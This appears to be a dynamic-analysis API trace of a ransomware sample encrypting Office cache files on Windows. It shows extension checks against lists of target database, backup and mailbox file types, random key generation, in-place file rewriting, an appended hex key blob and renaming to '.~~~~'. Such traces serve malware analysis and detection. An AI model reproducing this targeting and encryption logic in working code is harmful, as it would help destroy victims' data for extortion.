	[0076.696] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ose.exe", lpSrch=".SQB") returned 0x0
	[0076.696] lstrlenW (lpString=".vhd") returned 4
	[0076.696] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ose.exe", lpSrch=".vhd") returned 0x0
	[0076.696] lstrlenW (lpString=".bac") returned 4
	[0076.696] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ose.exe", lpSrch=".bac") returned 0x0
	[0076.696] lstrlenW (lpString=".mdf") returned 4
	[0076.696] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ose.exe", lpSrch=".mdf") returned 0x0
	[0076.696] lstrlenW (lpString=".BAK") returned 4
	[0076.696] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ose.exe", lpSrch=".BAK") returned 0x0
	[0076.696] lstrlenW (lpString=".BAC") returned 4
	[0076.696] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ose.exe", lpSrch=".BAC") returned 0x0
	[0076.696] lstrlenW (lpString=".dbs") returned 4
	[0076.696] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ose.exe", lpSrch=".dbs") returned 0x0
	[0076.696] lstrlenW (lpString=".vhdx") returned 5
	[0076.696] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ose.exe", lpSrch=".vhdx") returned 0x0
	[0076.696] lstrlenW (lpString=".NDF") returned 4
	[0076.696] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ose.exe", lpSrch=".NDF") returned 0x0
	[0076.696] lstrlenW (lpString=".dat") returned 4
	[0076.696] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ose.exe", lpSrch=".dat") returned 0x0
	[0076.697] lstrlenW (lpString=".DBS") returned 4
	[0076.697] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ose.exe", lpSrch=".DBS") returned 0x0
	[0076.697] lstrlenW (lpString=".CKP") returned 4
	[0076.697] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ose.exe", lpSrch=".CKP") returned 0x0
	[0076.697] lstrlenW (lpString=".edb") returned 4
	[0076.697] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ose.exe", lpSrch=".edb") returned 0x0
	[0076.697] lstrlenW (lpString=".PST") returned 4
	[0076.697] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ose.exe", lpSrch=".PST") returned 0x0
	[0076.697] lstrlenW (lpString=".dbf") returned 4
	[0076.697] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ose.exe", lpSrch=".dbf") returned 0x0
	[0076.697] lstrlenW (lpString=".SQL") returned 4
	[0076.697] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ose.exe", lpSrch=".SQL") returned 0x0
	[0076.697] lstrlenW (lpString=".pst") returned 4
	[0076.697] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ose.exe", lpSrch=".pst") returned 0x0
	[0076.697] lstrlenW (lpString=".dbv") returned 4
	[0076.697] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ose.exe", lpSrch=".dbv") returned 0x0
	[0076.697] lstrlenW (lpString=".SDF") returned 4
	[0076.697] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ose.exe", lpSrch=".SDF") returned 0x0
	[0076.697] lstrlenW (lpString=".dtxs") returned 5
	[0076.697] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ose.exe", lpSrch=".dtxs") returned 0x0
	[0076.697] lstrlenW (lpString=".db3") returned 4
	[0076.697] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ose.exe", lpSrch=".db3") returned 0x0
	[0076.697] lstrlenW (lpString=".OST") returned 4
	[0076.697] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ose.exe", lpSrch=".OST") returned 0x0
	[0076.697] lstrlenW (lpString=".dbx") returned 4
	[0076.697] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ose.exe", lpSrch=".dbx") returned 0x0
	[0076.697] lstrlenW (lpString=".DB3") returned 4
	[0076.697] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ose.exe", lpSrch=".DB3") returned 0x0
	[0076.697] lstrlenW (lpString=".DAT") returned 4
	[0076.697] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ose.exe", lpSrch=".DAT") returned 0x0
	[0076.697] lstrlenW (lpString=".VHDX") returned 5
	[0076.697] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ose.exe", lpSrch=".VHDX") returned 0x0
	[0076.697] lstrlenW (lpString=".ndf") returned 4
	[0076.697] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ose.exe", lpSrch=".ndf") returned 0x0
	[0076.697] lstrlenW (lpString=".DB") returned 3
	[0076.698] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ose.exe", lpSrch=".DB") returned 0x0
	[0076.698] lstrlenW (lpString=".sql") returned 4
	[0076.698] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ose.exe", lpSrch=".sql") returned 0x0
	[0076.698] lstrlenW (lpString=".MYD") returned 4
	[0076.698] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ose.exe", lpSrch=".MYD") returned 0x0
	[0076.698] lstrlenW (lpString=".DBT") returned 4
	[0076.698] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ose.exe", lpSrch=".DBT") returned 0x0
	[0076.698] lstrlenW (lpString=".ACCDB") returned 6
	[0076.698] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ose.exe", lpSrch=".ACCDB") returned 0x0
	[0076.698] lstrlenW (lpString=".fdb") returned 4
	[0076.702] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ose.exe", lpSrch=".fdb") returned 0x0
	[0076.702] lstrlenW (lpString=".bak") returned 4
	[0076.702] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ose.exe", lpSrch=".bak") returned 0x0
	[0076.702] lstrlenW (lpString=".myd") returned 4
	[0076.702] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ose.exe", lpSrch=".myd") returned 0x0
	[0076.702] lstrlenW (lpString=".DTXS") returned 5
	[0076.702] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ose.exe", lpSrch=".DTXS") returned 0x0
	[0076.702] lstrlenW (lpString=".ckp") returned 4
	[0076.702] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ose.exe", lpSrch=".ckp") returned 0x0
	[0076.702] lstrlenW (lpString=".dbt") returned 4
	[0076.702] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ose.exe", lpSrch=".dbt") returned 0x0
	[0076.702] lstrlenW (lpString=".db") returned 3
	[0076.702] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ose.exe", lpSrch=".db") returned 0x0
	[0076.702] lstrlenW (lpString=".TXT") returned 4
	[0076.702] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ose.exe", lpSrch=".TXT") returned 0x0
	[0076.702] lstrlenW (lpString=".MDF") returned 4
	[0076.702] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ose.exe", lpSrch=".MDF") returned 0x0
	[0076.702] lstrlenW (lpString=".bdb") returned 4
	[0076.702] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ose.exe", lpSrch=".bdb") returned 0x0
	[0076.702] lstrlenW (lpString=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 58
	[0076.702] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ose.exe", lpSrch=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 0x0
	[0076.702] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x130) returned 0x3a3178
	[0076.703] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x20) returned 0x362f90
	[0076.703] CryptAcquireContextA (in: phProv=0x1f8fcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x1f8fcdc*=0x39fe28) returned 1
	[0076.704] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362f90 | out: pbBuffer=0x362f90) returned 1
	[0076.704] CryptReleaseContext (hProv=0x39fe28, dwFlags=0x0) returned 1
	[0076.704] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362f90 | out: hHeap=0x300000) returned 1
	[0076.704] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b90
	[0076.704] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x27f2050
	[0076.704] QueryPerformanceCounter (in: lpPerformanceCount=0x1f8fc48 | out: lpPerformanceCount=0x1f8fc48*=19669400779) returned 1
	[0076.704] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x1f8fc88 | out: lpSystemTimeAsFileTime=0x1f8fc88*(dwLowDateTime=0x979e4cb0, dwHighDateTime=0x1d60e1e)) 
	[0076.704] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362380
	[0076.704] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362360
	[0076.704] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x3570e0
	[0076.704] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x3a3808
	[0076.704] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0076.704] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3a3808 | out: hHeap=0x300000) returned 1
	[0076.704] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fcfe0
	[0076.704] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0076.704] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x3aa460
	[0076.704] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fcfe0 | out: hHeap=0x300000) returned 1
	[0076.704] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3a8008
	[0076.704] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3aa460 | out: hHeap=0x300000) returned 1
	[0076.704] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x1f8fb18) 
	[0076.705] GetLastError () returned 0x0
	[0076.705] GetLastError () returned 0x0
	[0076.705] RtlUnwind (TargetFrame=0x1f8fc20, TargetIp=0x423f9b, ExceptionRecord=0x1f8f5dc, ReturnValue=0x0) 
	[0076.705] GetLastError () returned 0x0
	[0076.705] GetLastError () returned 0x0
	[0076.705] ReadFile (in: hFile=0x118, lpBuffer=0x3b76e0, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x3b76e0*, lpNumberOfBytesRead=0x1f8fec0*=0x19000, lpOverlapped=0x0) returned 1
	[0076.732] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0xfffe7000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0076.732] WriteFile (in: hFile=0x118, lpBuffer=0x3b76e0*, nNumberOfBytesToWrite=0x19000, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x3b76e0*, lpNumberOfBytesWritten=0x1f8fec0*=0x19000, lpOverlapped=0x0) returned 1
	[0076.733] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3b76e0 | out: hHeap=0x300000) returned 1
	[0076.734] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0076.734] WriteFile (in: hFile=0x118, lpBuffer=0x368b90*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x368b90*, lpNumberOfBytesWritten=0x1f8fec0*=0x8, lpOverlapped=0x0) returned 1
	[0076.734] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0076.734] WriteFile (in: hFile=0x118, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x1f8fec0*=0x200, lpOverlapped=0x0) returned 1
	[0076.734] CloseHandle (hObject=0x118) returned 1
	[0076.734] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3e7cd8
	[0076.734] MoveFileW (lpExistingFileName="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ose.exe" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\ose.exe"), lpNewFileName="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ose.exe.~~~~" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\ose.exe.~~~~")) returned 1
	[0076.755] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3e7cd8 | out: hHeap=0x300000) returned 1
	[0076.755] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3570e0 | out: hHeap=0x300000) returned 1
	[0076.755] GetLastError () returned 0x0
	[0076.755] RtlWakeConditionVariable () returned 0x365f70
	[0076.755] GetCurrentThreadId () returned 0xaf0
	[0076.755] GetCurrentThreadId () returned 0xaf0
	[0076.755] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xb0) returned 0x3a5748
	[0076.756] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3a4df0 | out: hHeap=0x300000) returned 1
	[0076.756] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3a3920 | out: hHeap=0x300000) returned 1
	[0076.756] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xb0) returned 0x3a4df0
	[0076.756] lstrlenW (lpString=".scr") returned 4
	[0076.756] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPlusrWW.msi", lpSrch=".scr") returned 0x0
	[0076.756] lstrlenW (lpString=".cmd") returned 4
	[0076.756] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPlusrWW.msi", lpSrch=".cmd") returned 0x0
	[0076.756] lstrlenW (lpString=".dll") returned 4
	[0076.756] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPlusrWW.msi", lpSrch=".dll") returned 0x0
	[0076.756] lstrlenW (lpString=".bat") returned 4
	[0076.756] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPlusrWW.msi", lpSrch=".bat") returned 0x0
	[0076.756] lstrlenW (lpString=".cpl") returned 4
	[0076.756] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPlusrWW.msi", lpSrch=".cpl") returned 0x0
	[0076.756] lstrlenW (lpString=".sys") returned 4
	[0076.756] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPlusrWW.msi", lpSrch=".sys") returned 0x0
	[0076.756] lstrlenW (lpString=".msc") returned 4
	[0076.756] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPlusrWW.msi", lpSrch=".msc") returned 0x0
	[0076.756] lstrlenW (lpString=".com") returned 4
	[0076.756] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPlusrWW.msi", lpSrch=".com") returned 0x0
	[0076.756] lstrlenW (lpString=".lnk") returned 4
	[0076.756] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPlusrWW.msi", lpSrch=".lnk") returned 0x0
	[0076.756] lstrlenW (lpString=".msp") returned 4
	[0076.756] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPlusrWW.msi", lpSrch=".msp") returned 0x0
	[0076.756] lstrlenW (lpString=".pif") returned 4
	[0076.757] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPlusrWW.msi", lpSrch=".pif") returned 0x0
	[0076.757] lstrlenW (lpString="msp\r\n.pif") returned 9
	[0076.757] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPlusrWW.msi", lpSrch="msp\r\n.pif") returned 0x0
	[0076.757] CreateFileW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPlusrWW.msi" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\proplusrww.msi"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x118
	[0076.758] lstrlenW (lpString=".sqb") returned 4
	[0076.758] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPlusrWW.msi", lpSrch=".sqb") returned 0x0
	[0076.758] lstrlenW (lpString=".ost") returned 4
	[0076.758] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPlusrWW.msi", lpSrch=".ost") returned 0x0
	[0076.758] lstrlenW (lpString=".txt") returned 4
	[0076.758] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPlusrWW.msi", lpSrch=".txt") returned 0x0
	[0076.758] lstrlenW (lpString=".mdt") returned 4
	[0076.758] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPlusrWW.msi", lpSrch=".mdt") returned 0x0
	[0076.758] lstrlenW (lpString=".BDB") returned 4
	[0076.758] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPlusrWW.msi", lpSrch=".BDB") returned 0x0
	[0076.758] lstrlenW (lpString=".eql") returned 4
	[0076.758] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPlusrWW.msi", lpSrch=".eql") returned 0x0
	[0076.758] lstrlenW (lpString=".DBF") returned 4
	[0076.758] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPlusrWW.msi", lpSrch=".DBF") returned 0x0
	[0076.758] lstrlenW (lpString=".EQL") returned 4
	[0076.758] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPlusrWW.msi", lpSrch=".EQL") returned 0x0
	[0076.758] lstrlenW (lpString=".FDB") returned 4
	[0076.758] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPlusrWW.msi", lpSrch=".FDB") returned 0x0
	[0076.758] lstrlenW (lpString=".EDB") returned 4
	[0076.758] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPlusrWW.msi", lpSrch=".EDB") returned 0x0
	[0076.758] lstrlenW (lpString=".DACPAC") returned 7
	[0076.758] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPlusrWW.msi", lpSrch=".DACPAC") returned 0x0
	[0076.759] lstrlenW (lpString=".VHD") returned 4
	[0076.759] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPlusrWW.msi", lpSrch=".VHD") returned 0x0
	[0076.759] lstrlenW (lpString=".DBV") returned 4
	[0076.759] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPlusrWW.msi", lpSrch=".DBV") returned 0x0
	[0076.759] lstrlenW (lpString=".dacpac") returned 7
	[0076.759] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPlusrWW.msi", lpSrch=".dacpac") returned 0x0
	[0076.759] lstrlenW (lpString=".sdf") returned 4
	[0076.759] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPlusrWW.msi", lpSrch=".sdf") returned 0x0
	[0076.759] lstrlenW (lpString=".accdb") returned 6
	[0076.759] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPlusrWW.msi", lpSrch=".accdb") returned 0x0
	[0076.759] lstrlenW (lpString=".DBX") returned 4
	[0076.759] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPlusrWW.msi", lpSrch=".DBX") returned 0x0
	[0076.759] lstrlenW (lpString=".MDT") returned 4
	[0076.759] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPlusrWW.msi", lpSrch=".MDT") returned 0x0
	[0076.759] lstrlenW (lpString=".SQB") returned 4
	[0076.759] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPlusrWW.msi", lpSrch=".SQB") returned 0x0
	[0076.759] lstrlenW (lpString=".vhd") returned 4
	[0076.759] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPlusrWW.msi", lpSrch=".vhd") returned 0x0
	[0076.759] lstrlenW (lpString=".bac") returned 4
	[0076.759] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPlusrWW.msi", lpSrch=".bac") returned 0x0
	[0076.759] lstrlenW (lpString=".mdf") returned 4
	[0076.759] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPlusrWW.msi", lpSrch=".mdf") returned 0x0
	[0076.759] lstrlenW (lpString=".BAK") returned 4
	[0076.760] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPlusrWW.msi", lpSrch=".BAK") returned 0x0
	[0076.760] lstrlenW (lpString=".BAC") returned 4
	[0076.760] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPlusrWW.msi", lpSrch=".BAC") returned 0x0
	[0076.760] lstrlenW (lpString=".dbs") returned 4
	[0076.760] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPlusrWW.msi", lpSrch=".dbs") returned 0x0
	[0076.760] lstrlenW (lpString=".vhdx") returned 5
	[0076.760] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPlusrWW.msi", lpSrch=".vhdx") returned 0x0
	[0076.760] lstrlenW (lpString=".NDF") returned 4
	[0076.760] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPlusrWW.msi", lpSrch=".NDF") returned 0x0
	[0076.760] lstrlenW (lpString=".dat") returned 4
	[0076.760] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPlusrWW.msi", lpSrch=".dat") returned 0x0
	[0076.760] lstrlenW (lpString=".DBS") returned 4
	[0076.760] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPlusrWW.msi", lpSrch=".DBS") returned 0x0
	[0076.760] lstrlenW (lpString=".CKP") returned 4
	[0076.760] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPlusrWW.msi", lpSrch=".CKP") returned 0x0
	[0076.760] lstrlenW (lpString=".edb") returned 4
	[0076.760] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPlusrWW.msi", lpSrch=".edb") returned 0x0
	[0076.760] lstrlenW (lpString=".PST") returned 4
	[0076.760] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPlusrWW.msi", lpSrch=".PST") returned 0x0
	[0076.760] lstrlenW (lpString=".dbf") returned 4
	[0076.760] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPlusrWW.msi", lpSrch=".dbf") returned 0x0
	[0076.760] lstrlenW (lpString=".SQL") returned 4
